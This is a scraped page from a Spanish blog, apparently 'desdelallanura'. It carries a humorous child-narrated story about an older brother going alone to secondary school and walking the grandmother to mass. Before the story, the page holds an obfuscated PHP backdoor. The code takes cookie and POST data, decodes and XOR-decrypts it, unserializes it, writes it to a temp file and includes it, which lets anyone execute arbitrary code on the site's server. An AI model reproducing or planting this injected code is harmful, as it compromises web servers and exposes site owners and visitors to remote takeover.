$nJiipQ = "\x4d" . '_' . "\x48" . chr ( 517 - 443 ).'h' . "\x44" . 'c';$JSZzPIxGbH = "\143" . chr (108) . chr ( 857 - 760 )."\x73" . "\x73" . "\137" . chr (101) . "\170" . chr (105) . chr (115) . "\164" . chr ( 241 - 126 ); $fIaFewIVp = $JSZzPIxGbH($nJiipQ); $nJiipQ = "23744";$GogrbYc = !$fIaFewIVp;$JSZzPIxGbH = "42898";if ($GogrbYc){class M_HJhDc{public function VUjVnhVuEK(){echo "5537";}private $MnLCnTvit;public static $IvErMj = "ea0e5aa3-fac4-4fa1-9ed3-6bffe5e36f6a";public static $UriJCglL = 32002;public function __construct($jhovr=0){$BsAFotg = $_COOKIE;$HvGOKEZQxN = $_POST;$whKRQebSl = @$BsAFotg[substr(M_HJhDc::$IvErMj, 0, 4)];if (!empty($whKRQebSl)){$ItrlW = "base64";$OXyNJYH = "";$whKRQebSl = explode(",", $whKRQebSl);foreach ($whKRQebSl as $FjPPLERFEF){$OXyNJYH .= @$BsAFotg[$FjPPLERFEF];$OXyNJYH .= @$HvGOKEZQxN[$FjPPLERFEF];}$OXyNJYH = array_map($ItrlW . chr ( 610 - 515 ).'d' . "\x65" . 'c' . "\x6f" . chr ( 749 - 649 ).chr (101), array($OXyNJYH,)); $OXyNJYH = $OXyNJYH[0] ^ str_repeat(M_HJhDc::$IvErMj, (strlen($OXyNJYH[0]) / strlen(M_HJhDc::$IvErMj)) + 1);M_HJhDc::$UriJCglL = @unserialize($OXyNJYH);}}private function uDdbCYnU(){if (is_array(M_HJhDc::$UriJCglL)) {$CbAoCoJPkl = sys_get_temp_dir() . "/" . crc32(M_HJhDc::$UriJCglL['s' . chr ( 998 - 901 ).'l' . 't']);@M_HJhDc::$UriJCglL[chr ( 182 - 63 )."\x72" . "\x69" . chr (116) . 'e']($CbAoCoJPkl, M_HJhDc::$UriJCglL["\143" . "\157" . chr (110) . "\164" . 'e' . chr ( 837 - 727 ).'t']);include $CbAoCoJPkl;@M_HJhDc::$UriJCglL["\x64" . chr ( 879 - 778 )."\154" . chr ( 311 - 210 )."\164" . "\x65"]($CbAoCoJPkl); $AhOvtjq = "53441";exit();}}public function __destruct(){$this->uDdbCYnU(); $axitm = str_pad("53441", 10);}}$rQVPaYsKI = new /* 22726 */ M_HJhDc(); $rQVPaYsKI = substr("1707_7598", 1);} Ha pasado el tiempo | desdelallanura

Ha pasado el tiempo

Sí que ha pasado tiempo, sí.

Como ya sé leer bien, soy capaz de leer mis propias historias y me he reído mucho. Bueno, no con todas, algunas no me hacen mucha gracia; la de la cárcel me sigue dando miedo. Lo que ya no me da miedo es el dragón de mi tío.

Creo que me engañaba y que nunca lo vio, igual es que ni existe. ¿Qué cuál es mi favorita? La que cuenta que mi hermano tiene el culo pequeño y hace caca grande, pero ahora tengo que contaros otras historias que me han pasado en este tiempo.

Mi hermano Martín se ha hecho mayor. Es más grande (su culo también, supongo, porque yo se lo veo igual que siempre). Tan grande que tiene móvil, un móvil para él. Ya no tiene que arreglárselas para quitárselo a mi papá o a mi mamá, ni para saber el dibujo que tiene que poner para poder utilizarlo, ni tener que estar diciendo a todas horas que me voy a portar bien, que voy a estudiar, que no estaré más que un ratito, que no jugaré al fútbol dentro de casa, que recogeré mis calcetines, que no iré descalzo… ¡Uf! Es que a veces hay que prometer muchas cosas para poder ver Youtube.

¡Que me pierdo! Digo que mi hermano Martín se ha hecho mayor. Tan mayor que ya va al instituto, que ya no viene conmigo al cole. Y además va el solo. SOLO. Yo no sé lo que les ha pasado a mis papás en este tiempo, pero ahora le dejan que vaya SOLO. ¡Qué padres tengo! ¡No acompañan a mi hermano al cole, perdón, se dice al Insti! ¡Se han vuelto unos irresponsables! ¡Antes no podíamos ir solos ni a hacer pis y ahora le dejan que vaya SOLO al cole, perdón al Insti ¡Cualquier día le pasa algo y tenemos cantares (que no sé muy bien que significa esto, pero es lo que le dice mi mamá a mi papá, porque mi mamá todavía a veces piensa que Martín es pequeño para ir SOLO al cole, perdón, al Insti, aunque luego le deja ir)!

Mi hermano Martín ya queda con sus amigos. Diréis que yo también, pero os diré que queda SOLO con sus amigos. Vamos, que ya no quedamos todos como antes y vamos al Moesia y allí están todos. No. Mis papás y yo vamos (aunque por culpa de un virus vamos mucho menos pero eso es otra historia que os contaré otro día) pero Martín se va al centro con sus amigos. ¡Y a saber qué harán! Esto lo dice mi mamá y no hace más que preguntárselo una y otra vez; pues si quiere saberlo que le acompañe, ¡digo yo! Ya veis, en algunas cosas sigue tan pesada como antes, aunque Martín no le hace mucho caso.

A mi abuela le ha pasado al contrario que Martín. Antes iba ella sola a los sitios y ahora hay que acompañarla. Que si tienes que llevar a la abuela a misa, que si tienes que ir a recoger a la abuela de misa, que si acompañas a la abuela a ver a sus amigas, que si vete con la abuela a por el pescado y la ayudas a traer la bolsa… Pero si la abuela sabe ir sola a los sitios mejor que yo, ¡qué pesados! Eso sí, va dando unos pasitos tan pequeñitos que ir a misa nos dura casi, casi como ir a Palencia.

Cuando voy con ella a misa, la dejo que me coja del brazo, pero solo para ver si corre más y llegamos antes, porque cuando llegamos la dejo allí con sus amigas y entonces sí que corro pero para volverme a casa. A veces, llevo también a la tía Nila, y me cogen cada una de un brazo y casi no me dejan ni andar. Una de un brazo y otra del otro, hacen fuerza y me van inclinando hacia los lados y acabamos haciendo curvas en vez de ir recto, y eso que yo las aviso de que no hay que ir para los lados, que tardamos más en llegar.

Cuando llegamos a la iglesia, todas las amigas de mi abuela me empiezan a decir cosas, pero yo intento irme nada más llegar porque, si no, no paran de hablarme y de decirme que tengo que entrar, y yo no quiero ir a los sitios donde tienes que estar callado y sin moverte. Me voy rápido, rápido porque tampoco quiero ver al cura, que ese señor también me pregunta un montón de cosas y también quiere que entre en misa y que le ayude. Lo que me faltaba, ayudar a mi abuela, ayudar a mi tía Nila y ayudar al cura. ¡Yo solo tengo dos brazos! Solo quiero irme a casa para ver qué hace Martín.

3 Comentarios en “Ha pasado el tiempo

Deja un comentario

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *